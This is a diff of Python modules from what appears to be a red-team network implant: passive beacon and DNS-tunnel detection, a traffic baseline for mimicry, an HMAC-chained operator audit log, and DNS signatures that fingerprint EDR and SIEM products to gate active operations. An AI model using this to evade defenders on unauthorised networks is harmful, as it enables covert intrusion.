def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Data ingestion
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def ingest_connection(self, src_ip: str, dst_ip: str, dst_port: int,
|
||||
protocol: str = "tcp", bytes_sent: int = 0,
|
||||
bytes_recv: int = 0, timestamp: float = None) -> None:
|
||||
"""Ingest a connection record for analysis.
|
||||
|
||||
Called by other modules (dns_logger, packet analyzers) or directly.
|
||||
"""
|
||||
ts = timestamp or time.time()
|
||||
|
||||
with self._lock:
|
||||
# Connection timing for beacon detection
|
||||
flow_key = (src_ip, dst_ip, dst_port)
|
||||
self._conn_times[flow_key].append(ts)
|
||||
|
||||
# Communication graph
|
||||
self._comm_graph[src_ip]["peers"].add(dst_ip)
|
||||
self._comm_graph[src_ip]["bytes_out"] += bytes_sent
|
||||
self._comm_graph[src_ip]["conn_count"] += 1
|
||||
|
||||
self._comm_graph[dst_ip]["peers"].add(src_ip)
|
||||
self._comm_graph[dst_ip]["bytes_in"] += bytes_recv
|
||||
self._comm_graph[dst_ip]["conn_count"] += 1
|
||||
|
||||
# Service dependency
|
||||
service_key = f"{dst_ip}:{dst_port}"
|
||||
self._service_deps[service_key].add(src_ip)
|
||||
|
||||
# Known-bad port check
|
||||
if dst_port in _KNOWN_BAD_PORTS:
|
||||
self._add_finding(
|
||||
"suspicious_port",
|
||||
f"{src_ip} -> {dst_ip}:{dst_port} ({protocol})",
|
||||
severity="warning",
|
||||
details={"src": src_ip, "dst": dst_ip, "port": dst_port},
|
||||
)
|
||||
|
||||
def ingest_dns_query(self, client_ip: str, query_name: str,
|
||||
query_type: str = "A", timestamp: float = None) -> None:
|
||||
"""Ingest a DNS query for tunneling and pattern analysis."""
|
||||
ts = timestamp or time.time()
|
||||
|
||||
with self._lock:
|
||||
self._dns_queries[query_name].append(ts)
|
||||
|
||||
# Check for DNS tunneling indicators
|
||||
parts = query_name.split(".")
|
||||
if len(parts) >= 3:
|
||||
# Long subdomain labels suggest encoding
|
||||
subdomain = ".".join(parts[:-2])
|
||||
if len(subdomain) >= _DNS_TUNNEL_MIN_SUBDOMAIN_LEN:
|
||||
base_domain = ".".join(parts[-2:])
|
||||
self._add_finding(
|
||||
"dns_tunnel_suspect",
|
||||
f"Long subdomain to {base_domain} from {client_ip}: "
|
||||
f"{len(subdomain)} chars",
|
||||
severity="warning",
|
||||
details={
|
||||
"client": client_ip,
|
||||
"base_domain": base_domain,
|
||||
"subdomain_len": len(subdomain),
|
||||
"query_type": query_type,
|
||||
},
|
||||
)
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Track new hosts for the communication graph."""
|
||||
p = event.payload
|
||||
ip = p.get("ip", "")
|
||||
if ip and ip not in self._comm_graph:
|
||||
with self._lock:
|
||||
self._comm_graph[ip]["peers"] = set()
|
||||
|
||||
def _on_beacon_detected(self, event) -> None:
|
||||
"""Record externally detected beacons."""
|
||||
p = event.payload
|
||||
with self._lock:
|
||||
self._beacons.append({
|
||||
"src": p.get("src_ip", ""),
|
||||
"dst": p.get("dst_ip", ""),
|
||||
"port": p.get("port", 0),
|
||||
"interval": p.get("interval", 0),
|
||||
"jitter": p.get("jitter", 0),
|
||||
"detected_at": time.time(),
|
||||
"source": event.source_module,
|
||||
})
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Analysis engine
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _analysis_loop(self) -> None:
|
||||
"""Periodic analysis of accumulated traffic data."""
|
||||
interval = self.config.get("analysis_interval", 120)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
self._detect_beacons()
|
||||
self._detect_dns_tunneling()
|
||||
self._analyze_communication_graph()
|
||||
self._save_findings()
|
||||
except Exception:
|
||||
logger.exception("NetIntel analysis cycle failed")
|
||||
|
||||
def _detect_beacons(self) -> None:
|
||||
"""Detect beaconing connections by analyzing inter-connection intervals.
|
||||
|
||||
A beacon has a regular interval: stddev/mean ratio < threshold.
|
||||
"""
|
||||
threshold = self.config.get(
|
||||
"beacon_ratio_threshold", _BEACON_INTERVAL_RATIO
|
||||
)
|
||||
min_samples = self.config.get(
|
||||
"beacon_min_connections", _BEACON_MIN_CONNECTIONS
|
||||
)
|
||||
|
||||
with self._lock:
|
||||
for flow_key, timestamps in self._conn_times.items():
|
||||
if len(timestamps) < min_samples:
|
||||
continue
|
||||
|
||||
# Calculate inter-arrival intervals
|
||||
sorted_ts = sorted(timestamps)
|
||||
intervals = [
|
||||
sorted_ts[i + 1] - sorted_ts[i]
|
||||
for i in range(len(sorted_ts) - 1)
|
||||
]
|
||||
|
||||
if not intervals:
|
||||
continue
|
||||
|
||||
mean_interval = sum(intervals) / len(intervals)
|
||||
if mean_interval <= 0:
|
||||
continue
|
||||
|
||||
variance = sum((x - mean_interval) ** 2 for x in intervals) / len(intervals)
|
||||
stddev = math.sqrt(variance)
|
||||
ratio = stddev / mean_interval
|
||||
|
||||
if ratio < threshold:
|
||||
src, dst, port = flow_key
|
||||
beacon_info = {
|
||||
"src": src,
|
||||
"dst": dst,
|
||||
"port": port,
|
||||
"mean_interval": round(mean_interval, 2),
|
||||
"stddev": round(stddev, 2),
|
||||
"ratio": round(ratio, 4),
|
||||
"sample_count": len(timestamps),
|
||||
"detected_at": time.time(),
|
||||
}
|
||||
|
||||
# Avoid duplicate beacon alerts
|
||||
is_dup = any(
|
||||
b["src"] == src and b["dst"] == dst and b["port"] == port
|
||||
for b in self._beacons
|
||||
)
|
||||
if not is_dup:
|
||||
self._beacons.append(beacon_info)
|
||||
self.bus.emit("BEACON_DETECTED", {
|
||||
"src_ip": src,
|
||||
"dst_ip": dst,
|
||||
"port": port,
|
||||
"interval": mean_interval,
|
||||
"jitter": stddev,
|
||||
"ratio": ratio,
|
||||
}, source_module=self.name)
|
||||
|
||||
logger.warning(
|
||||
"BEACON: %s -> %s:%d every %.1fs "
|
||||
"(ratio=%.4f, n=%d)",
|
||||
src, dst, port, mean_interval, ratio,
|
||||
len(timestamps),
|
||||
)
|
||||
|
||||
def _detect_dns_tunneling(self) -> None:
|
||||
"""Detect potential DNS tunneling by query rate to specific domains."""
|
||||
now = time.time()
|
||||
window = 60.0 # 1-minute window
|
||||
|
||||
with self._lock:
|
||||
# Aggregate by base domain (last 2 labels)
|
||||
domain_rates: dict[str, int] = defaultdict(int)
|
||||
for query_name, timestamps in self._dns_queries.items():
|
||||
parts = query_name.split(".")
|
||||
if len(parts) >= 2:
|
||||
base = ".".join(parts[-2:])
|
||||
recent = sum(1 for t in timestamps if now - t < window)
|
||||
domain_rates[base] += recent
|
||||
|
||||
for domain, rate in domain_rates.items():
|
||||
if rate >= _DNS_TUNNEL_QUERY_RATE:
|
||||
self._add_finding(
|
||||
"dns_tunnel_rate",
|
||||
f"High DNS query rate to {domain}: {rate}/min",
|
||||
severity="critical",
|
||||
details={"domain": domain, "rate_per_min": rate},
|
||||
)
|
||||
|
||||
def _analyze_communication_graph(self) -> None:
|
||||
"""Identify central nodes, isolated hosts, and unusual patterns."""
|
||||
with self._lock:
|
||||
if len(self._comm_graph) < 3:
|
||||
return
|
||||
|
||||
# Find most-connected nodes (potential central servers / DCs)
|
||||
by_peers = sorted(
|
||||
self._comm_graph.items(),
|
||||
key=lambda x: len(x[1]["peers"]),
|
||||
reverse=True,
|
||||
)
|
||||
|
||||
total_nodes = len(self._comm_graph)
|
||||
central_threshold = max(total_nodes * 0.3, 5)
|
||||
|
||||
for ip, data in by_peers[:10]:
|
||||
peer_count = len(data["peers"])
|
||||
if peer_count >= central_threshold:
|
||||
self.state.set(
|
||||
self.name,
|
||||
f"central_node_{ip}",
|
||||
json.dumps({
|
||||
"ip": ip,
|
||||
"peer_count": peer_count,
|
||||
"bytes_in": data["bytes_in"],
|
||||
"bytes_out": data["bytes_out"],
|
||||
}),
|
||||
)
|
||||
|
||||
# Find isolated hosts (single or no peers — unusual)
|
||||
for ip, data in self._comm_graph.items():
|
||||
if len(data["peers"]) <= 1 and data["conn_count"] > 20:
|
||||
self._add_finding(
|
||||
"isolated_talker",
|
||||
f"{ip} has {data['conn_count']} connections "
|
||||
f"but only {len(data['peers'])} peer(s)",
|
||||
severity="info",
|
||||
details={"ip": ip, "peers": list(data["peers"])},
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Findings management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _add_finding(self, finding_type: str, description: str,
|
||||
severity: str = "info", details: dict = None) -> None:
|
||||
"""Record a finding, deduplicating by type + description."""
|
||||
# Simple dedup: don't re-add identical findings
|
||||
for f in self._findings:
|
||||
if f["type"] == finding_type and f["description"] == description:
|
||||
f["last_seen"] = time.time()
|
||||
f["count"] = f.get("count", 1) + 1
|
||||
return
|
||||
|
||||
self._findings.append({
|
||||
"type": finding_type,
|
||||
"description": description,
|
||||
"severity": severity,
|
||||
"details": details or {},
|
||||
"first_seen": time.time(),
|
||||
"last_seen": time.time(),
|
||||
"count": 1,
|
||||
})
|
||||
|
||||
def _save_findings(self) -> None:
|
||||
"""Persist findings and beacons to state."""
|
||||
with self._lock:
|
||||
beacons_ser = list(self._beacons)
|
||||
findings_ser = list(self._findings)
|
||||
|
||||
# Serialize service deps
|
||||
deps_ser = {k: list(v) for k, v in self._service_deps.items()}
|
||||
|
||||
self.state.set(self.name, "beacons", json.dumps(beacons_ser))
|
||||
self.state.set(self.name, "findings", json.dumps(findings_ser))
|
||||
self.state.set(self.name, "service_deps", json.dumps(deps_ser))
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public query interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_beacons(self) -> list:
|
||||
"""Return all detected beacons."""
|
||||
with self._lock:
|
||||
return list(self._beacons)
|
||||
|
||||
def get_findings(self, severity: str = None) -> list:
|
||||
"""Return findings, optionally filtered by severity."""
|
||||
with self._lock:
|
||||
if severity:
|
||||
return [f for f in self._findings if f["severity"] == severity]
|
||||
return list(self._findings)
|
||||
|
||||
def get_central_nodes(self, min_peers: int = 5) -> list:
|
||||
"""Return the most-connected nodes in the communication graph."""
|
||||
with self._lock:
|
||||
results = []
|
||||
for ip, data in self._comm_graph.items():
|
||||
peer_count = len(data["peers"])
|
||||
if peer_count >= min_peers:
|
||||
results.append({
|
||||
"ip": ip,
|
||||
"peer_count": peer_count,
|
||||
"bytes_in": data["bytes_in"],
|
||||
"bytes_out": data["bytes_out"],
|
||||
"conn_count": data["conn_count"],
|
||||
})
|
||||
results.sort(key=lambda x: x["peer_count"], reverse=True)
|
||||
return results
|
||||
|
||||
def get_service_dependencies(self) -> dict:
|
||||
"""Return service dependency map: service -> [dependent clients]."""
|
||||
with self._lock:
|
||||
return {k: list(v) for k, v in self._service_deps.items()}
|
||||
|
||||
def get_anomaly_baseline(self) -> dict:
|
||||
"""Return traffic pattern baseline for traffic_mimicry module.
|
||||
|
||||
Provides:
|
||||
- Typical connection intervals per flow
|
||||
- Byte distribution per protocol
|
||||
- Peak/quiet hour patterns
|
||||
"""
|
||||
with self._lock:
|
||||
flow_intervals = {}
|
||||
for flow_key, timestamps in self._conn_times.items():
|
||||
if len(timestamps) < 3:
|
||||
continue
|
||||
sorted_ts = sorted(timestamps)
|
||||
intervals = [sorted_ts[i + 1] - sorted_ts[i]
|
||||
for i in range(len(sorted_ts) - 1)]
|
||||
mean = sum(intervals) / len(intervals)
|
||||
flow_intervals[f"{flow_key[0]}->{flow_key[1]}:{flow_key[2]}"] = {
|
||||
"mean_interval": round(mean, 2),
|
||||
"sample_count": len(timestamps),
|
||||
}
|
||||
|
||||
# Hour-of-day connection distribution
|
||||
hourly = defaultdict(int)
|
||||
for timestamps in self._conn_times.values():
|
||||
for ts in timestamps:
|
||||
hour = time.localtime(ts).tm_hour
|
||||
hourly[hour] += 1
|
||||
|
||||
return {
|
||||
"flow_intervals": flow_intervals,
|
||||
"hourly_distribution": dict(hourly),
|
||||
"total_flows": len(self._conn_times),
|
||||
"total_nodes": len(self._comm_graph),
|
||||
}
|
||||
@@ -0,0 +1,412 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Operator audit trail — append-only log with HMAC integrity chain.
|
||||
|
||||
Logs all operator actions: SSH sessions, CLI commands, module activations,
|
||||
config changes. Each row includes an HMAC of the previous row, forming
|
||||
a tamper-evident chain. Subscribes to MODULE_STARTED, MODULE_STOPPED,
|
||||
and KILL_SWITCH events.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS audit_log (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
action TEXT NOT NULL,
|
||||
operator TEXT DEFAULT '',
|
||||
details TEXT DEFAULT '',
|
||||
hmac TEXT NOT NULL
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_ts ON audit_log(timestamp);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_action ON audit_log(action);
|
||||
"""
|
||||
|
||||
# Action types
|
||||
ACTION_MODULE_START = "module_start"
|
||||
ACTION_MODULE_STOP = "module_stop"
|
||||
ACTION_KILL_SWITCH = "kill_switch"
|
||||
ACTION_CONFIG_CHANGE = "config_change"
|
||||
ACTION_SSH_SESSION = "ssh_session"
|
||||
ACTION_CLI_COMMAND = "cli_command"
|
||||
ACTION_CRED_EXPORT = "cred_export"
|
||||
ACTION_DATA_EXFIL = "data_exfil"
|
||||
ACTION_BASELINE_BUILD = "baseline_build"
|
||||
ACTION_MANUAL = "manual"
|
||||
|
||||
|
||||
class OperatorAudit(BaseModule):
|
||||
"""Append-only operator audit trail with HMAC integrity chain."""
|
||||
|
||||
name = "operator_audit"
|
||||
module_type = "intel"
|
||||
priority = 50 # Critical — always runs
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._hmac_key = b""
|
||||
self._last_hmac = ""
|
||||
self._entry_count = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "operator_audit.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
self._conn.executescript(_SCHEMA)
|
||||
|
||||
# HMAC key: from config or derive from machine ID
|
||||
key_config = self.config.get("audit_hmac_key", "")
|
||||
if key_config:
|
||||
self._hmac_key = key_config.encode() if isinstance(key_config, str) else key_config
|
||||
else:
|
||||
self._hmac_key = self._derive_machine_key()
|
||||
|
||||
# Load last HMAC from chain
|
||||
self._last_hmac = self._get_last_hmac()
|
||||
|
||||
# Subscribe to events
|
||||
self.bus.subscribe(self._on_module_started, "MODULE_STARTED")
|
||||
self.bus.subscribe(self._on_module_stopped, "MODULE_STOPPED")
|
||||
self.bus.subscribe(self._on_kill_switch, "KILL_SWITCH")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
|
||||
# Log our own start
|
||||
self.log_action(
|
||||
ACTION_MODULE_START,
|
||||
details="OperatorAudit started",
|
||||
)
|
||||
|
||||
logger.info(
|
||||
"OperatorAudit started — db=%s, chain_length=%d",
|
||||
self._db_path, self._entry_count,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
# Log our own stop before shutting down
|
||||
self.log_action(
|
||||
ACTION_MODULE_STOP,
|
||||
details="OperatorAudit stopping",
|
||||
)
|
||||
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_module_started, "MODULE_STARTED")
|
||||
self.bus.unsubscribe(self._on_module_stopped, "MODULE_STOPPED")
|
||||
self.bus.unsubscribe(self._on_kill_switch, "KILL_SWITCH")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"OperatorAudit stopped — %d entries in chain", self._entry_count
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"entries": self._entry_count,
|
||||
"chain_valid": self.verify_chain(),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
old_config = json.dumps(self.config, sort_keys=True, default=str)
|
||||
self.config.update(config)
|
||||
new_config = json.dumps(self.config, sort_keys=True, default=str)
|
||||
|
||||
if old_config != new_config:
|
||||
self.log_action(
|
||||
ACTION_CONFIG_CHANGE,
|
||||
details=f"Config updated",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_module_started(self, event) -> None:
|
||||
p = event.payload
|
||||
module_name = p.get("module", event.source_module or "unknown")
|
||||
if module_name == self.name:
|
||||
return # Skip our own start event (already logged)
|
||||
self.log_action(
|
||||
ACTION_MODULE_START,
|
||||
details=f"Module started: {module_name} (pid={p.get('pid', '?')})",
|
||||
)
|
||||
|
||||
def _on_module_stopped(self, event) -> None:
|
||||
p = event.payload
|
||||
module_name = p.get("module", event.source_module or "unknown")
|
||||
if module_name == self.name:
|
||||
return
|
||||
self.log_action(
|
||||
ACTION_MODULE_STOP,
|
||||
details=f"Module stopped: {module_name}",
|
||||
)
|
||||
|
||||
def _on_kill_switch(self, event) -> None:
|
||||
p = event.payload
|
||||
self.log_action(
|
||||
ACTION_KILL_SWITCH,
|
||||
details=f"KILL SWITCH activated: reason={p.get('reason', 'unknown')}",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Core logging
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def log_action(self, action: str, operator: str = "",
|
||||
details: str = "") -> None:
|
||||
"""Log an operator action with HMAC chain integrity.
|
||||
|
||||
Args:
|
||||
action: Action type (use ACTION_* constants).
|
||||
operator: Operator identifier (SSH key fingerprint, username, etc).
|
||||
details: Free-text description of the action.
|
||||
"""
|
||||
if not self._conn:
|
||||
return
|
||||
|
||||
if not operator:
|
||||
operator = self._detect_operator()
|
||||
|
||||
ts = time.time()
|
||||
|
||||
# Compute HMAC: H(key, previous_hmac | timestamp | action | operator | details)
|
||||
msg = f"{self._last_hmac}|{ts}|{action}|{operator}|{details}"
|
||||
entry_hmac = hmac.new(
|
||||
self._hmac_key, msg.encode(), hashlib.sha256
|
||||
).hexdigest()
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO audit_log
|
||||
(timestamp, action, operator, details, hmac)
|
||||
VALUES (?, ?, ?, ?, ?)""",
|
||||
(ts, action, operator, details, entry_hmac),
|
||||
)
|
||||
self._conn.commit()
|
||||
self._last_hmac = entry_hmac
|
||||
self._entry_count += 1
|
||||
except Exception:
|
||||
logger.exception("Failed to log audit action: %s", action)
|
||||
|
||||
def log_ssh_session(self, remote_ip: str, key_fingerprint: str = "",
|
||||
event: str = "connect") -> None:
|
||||
"""Log an SSH session event."""
|
||||
self.log_action(
|
||||
ACTION_SSH_SESSION,
|
||||
operator=key_fingerprint or remote_ip,
|
||||
details=f"SSH {event} from {remote_ip} "
|
||||
f"(key={key_fingerprint or 'password'})",
|
||||
)
|
||||
|
||||
def log_cli_command(self, command: str, operator: str = "") -> None:
|
||||
"""Log a CLI command execution."""
|
||||
self.log_action(
|
||||
ACTION_CLI_COMMAND,
|
||||
operator=operator,
|
||||
details=f"Command: {command}",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# HMAC chain
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _derive_machine_key(self) -> bytes:
|
||||
"""Derive HMAC key from machine-specific identifiers."""
|
||||
components = []
|
||||
|
||||
# CPU serial (RPi)
|
||||
try:
|
||||
with open("/proc/cpuinfo", "r") as f:
|
||||
for line in f:
|
||||
if line.startswith("Serial"):
|
||||
components.append(line.strip())
|
||||
break
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
|
||||
# Machine ID
|
||||
try:
|
||||
with open("/etc/machine-id", "r") as f:
|
||||
components.append(f.read().strip())
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
|
||||
if not components:
|
||||
components.append("bigbrother-default-key")
|
||||
|
||||
combined = "|".join(components)
|
||||
return hashlib.sha256(combined.encode()).digest()
|
||||
|
||||
def _get_last_hmac(self) -> str:
|
||||
"""Get the HMAC of the last entry in the chain."""
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT hmac FROM audit_log ORDER BY id DESC LIMIT 1"
|
||||
).fetchone()
|
||||
|
||||
count_row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM audit_log"
|
||||
).fetchone()
|
||||
self._entry_count = count_row[0] if count_row else 0
|
||||
|
||||
if row:
|
||||
return row["hmac"]
|
||||
return "" # Genesis — empty for first entry
|
||||
|
||||
def _detect_operator(self) -> str:
|
||||
"""Attempt to detect the current operator identity."""
|
||||
# Check SSH connection
|
||||
ssh_client = os.environ.get("SSH_CLIENT", "")
|
||||
if ssh_client:
|
||||
parts = ssh_client.split()
|
||||
remote_ip = parts[0] if parts else "unknown"
|
||||
|
||||
# Try to get SSH key fingerprint
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["who", "-m"],
|
||||
capture_output=True, timeout=2,
|
||||
)
|
||||
who = result.stdout.decode().strip()
|
||||
if who:
|
||||
return f"ssh:{remote_ip}:{who.split()[0]}"
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return f"ssh:{remote_ip}"
|
||||
|
||||
# Local operator
|
||||
user = os.environ.get("USER", os.environ.get("LOGNAME", "local"))
|
||||
return f"local:{user}"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Chain verification
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def verify_chain(self) -> bool:
|
||||
"""Verify the entire HMAC chain integrity.
|
||||
|
||||
Returns:
|
||||
True if the chain is valid, False if tampered.
|
||||
"""
|
||||
if not self._conn:
|
||||
return False
|
||||
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"SELECT timestamp, action, operator, details, hmac "
|
||||
"FROM audit_log ORDER BY id ASC"
|
||||
).fetchall()
|
||||
|
||||
if not rows:
|
||||
return True # Empty chain is valid
|
||||
|
||||
prev_hmac = ""
|
||||
for row in rows:
|
||||
ts = row["timestamp"]
|
||||
action = row["action"]
|
||||
operator = row["operator"]
|
||||
details = row["details"]
|
||||
stored_hmac = row["hmac"]
|
||||
|
||||
msg = f"{prev_hmac}|{ts}|{action}|{operator}|{details}"
|
||||
computed = hmac.new(
|
||||
self._hmac_key, msg.encode(), hashlib.sha256
|
||||
).hexdigest()
|
||||
|
||||
if computed != stored_hmac:
|
||||
logger.error(
|
||||
"HMAC chain broken at ts=%.3f action=%s — "
|
||||
"expected %s, got %s",
|
||||
ts, action, computed[:16], stored_hmac[:16],
|
||||
)
|
||||
return False
|
||||
|
||||
prev_hmac = stored_hmac
|
||||
|
||||
return True
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Export
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def export_log(self, since: float = 0, limit: int = 10000) -> list:
|
||||
"""Export audit log entries for engagement reports."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM audit_log
|
||||
WHERE timestamp > ?
|
||||
ORDER BY id ASC LIMIT ?""",
|
||||
(since, limit),
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def export_json(self, since: float = 0) -> str:
|
||||
"""Export audit log as JSON string."""
|
||||
entries = self.export_log(since)
|
||||
return json.dumps(entries, indent=2, default=str)
|
||||
|
||||
def get_summary(self) -> dict:
|
||||
"""Return audit log summary."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT action, COUNT(*) FROM audit_log
|
||||
GROUP BY action ORDER BY COUNT(*) DESC"""
|
||||
).fetchall()
|
||||
|
||||
operators = self._conn.execute(
|
||||
"""SELECT DISTINCT operator FROM audit_log
|
||||
WHERE operator != ''"""
|
||||
).fetchall()
|
||||
|
||||
return {
|
||||
"total_entries": self._entry_count,
|
||||
"chain_valid": self.verify_chain(),
|
||||
"by_action": {a: c for a, c in rows},
|
||||
"operators": [r[0] for r in operators],
|
||||
}
|
||||
@@ -0,0 +1,577 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Security posture mapper — detect security infrastructure by traffic patterns.
|
||||
|
||||
Identifies EDR, SIEM, vulnerability scanners, honeypots, NAC, and network
|
||||
monitoring tools by observing DNS queries, HTTP traffic, and port patterns.
|
||||
Gates active module risk assessment — if strong security tooling is detected,
|
||||
active operations should increase caution.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS security_tools (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
tool_type TEXT NOT NULL,
|
||||
tool_name TEXT NOT NULL,
|
||||
evidence TEXT NOT NULL,
|
||||
confidence REAL DEFAULT 0.5,
|
||||
target_ip TEXT DEFAULT '',
|
||||
target_hostname TEXT DEFAULT '',
|
||||
first_seen REAL NOT NULL,
|
||||
last_seen REAL NOT NULL,
|
||||
impacts_active_ops INTEGER DEFAULT 1,
|
||||
details TEXT DEFAULT '',
|
||||
UNIQUE(tool_type, tool_name, target_ip)
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_st_type ON security_tools(tool_type);
|
||||
CREATE INDEX IF NOT EXISTS idx_st_name ON security_tools(tool_name);
|
||||
"""
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# Detection signatures
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
# DNS patterns: (regex, tool_type, tool_name, confidence, impacts_active)
|
||||
_DNS_SIGNATURES = [
|
||||
# EDR / Endpoint Protection
|
||||
(re.compile(r"ts01-[a-z0-9]+\.cloudsink\.net$", re.I),
|
||||
"edr", "CrowdStrike Falcon", 0.95, True),
|
||||
(re.compile(r"(lfodown|lfoup)\.crowdstrike\.com$", re.I),
|
||||
"edr", "CrowdStrike Falcon", 0.95, True),
|
||||
(re.compile(r"\.crowdstrike\.com$", re.I),
|
||||
"edr", "CrowdStrike Falcon", 0.9, True),
|
||||
(re.compile(r"[a-z0-9]+\.sentinelone\.net$", re.I),
|
||||
"edr", "SentinelOne", 0.95, True),
|
||||
(re.compile(r"management.*\.sentinelone\.net$", re.I),
|
||||
"edr", "SentinelOne", 0.95, True),
|
||||
(re.compile(r"\.cybereason\.com$", re.I),
|
||||
"edr", "Cybereason", 0.9, True),
|
||||
(re.compile(r"\.carbonblack\.(com|io)$", re.I),
|
||||
"edr", "Carbon Black", 0.9, True),
|
||||
(re.compile(r"\.cb\.carbonblack\.io$", re.I),
|
||||
"edr", "Carbon Black Cloud", 0.95, True),
|
||||
(re.compile(r"(wdcp|wdcpalt)\.microsoft\.com$", re.I),
|
||||
"edr", "Microsoft Defender ATP", 0.85, True),
|
||||
(re.compile(r"\.securitycenter\.windows\.com$", re.I),
|
||||
"edr", "Microsoft Defender ATP", 0.9, True),
|
||||
(re.compile(r"\.endpoint\.security\.microsoft\.com$", re.I),
|
||||
"edr", "Microsoft Defender for Endpoint", 0.95, True),
|
||||
(re.compile(r"\.sophos\.(com|net)$", re.I),
|
||||
"edr", "Sophos", 0.8, True),
|
||||
(re.compile(r"\.cylance\.(com|io)$", re.I),
|
||||
"edr", "Cylance/BlackBerry Protect", 0.85, True),
|
||||
(re.compile(r"\.trellix\.com$", re.I),
|
||||
"edr", "Trellix (McAfee/FireEye)", 0.85, True),
|
||||
(re.compile(r"\.fireeye\.com$", re.I),
|
||||
"edr", "FireEye/Mandiant", 0.85, True),
|
||||
|
||||
# SIEM
|
||||
(re.compile(r"\.splunkcloud\.com$", re.I),
|
||||
"siem", "Splunk Cloud", 0.9, False),
|
||||
(re.compile(r"input.*\.splunkcloud\.com$", re.I),
|
||||
"siem", "Splunk Cloud HEC", 0.95, False),
|
||||
(re.compile(r"\.sumologic\.com$", re.I),
|
||||
"siem", "Sumo Logic", 0.85, False),
|
||||
(re.compile(r"\.logz\.io$", re.I),
|
||||
"siem", "Logz.io", 0.85, False),
|
||||
(re.compile(r"\.elastic-cloud\.com$", re.I),
|
||||
"siem", "Elastic Cloud", 0.85, False),
|
||||
(re.compile(r"\.datadoghq\.com$", re.I),
|
||||
"siem", "Datadog", 0.8, False),
|
||||
|
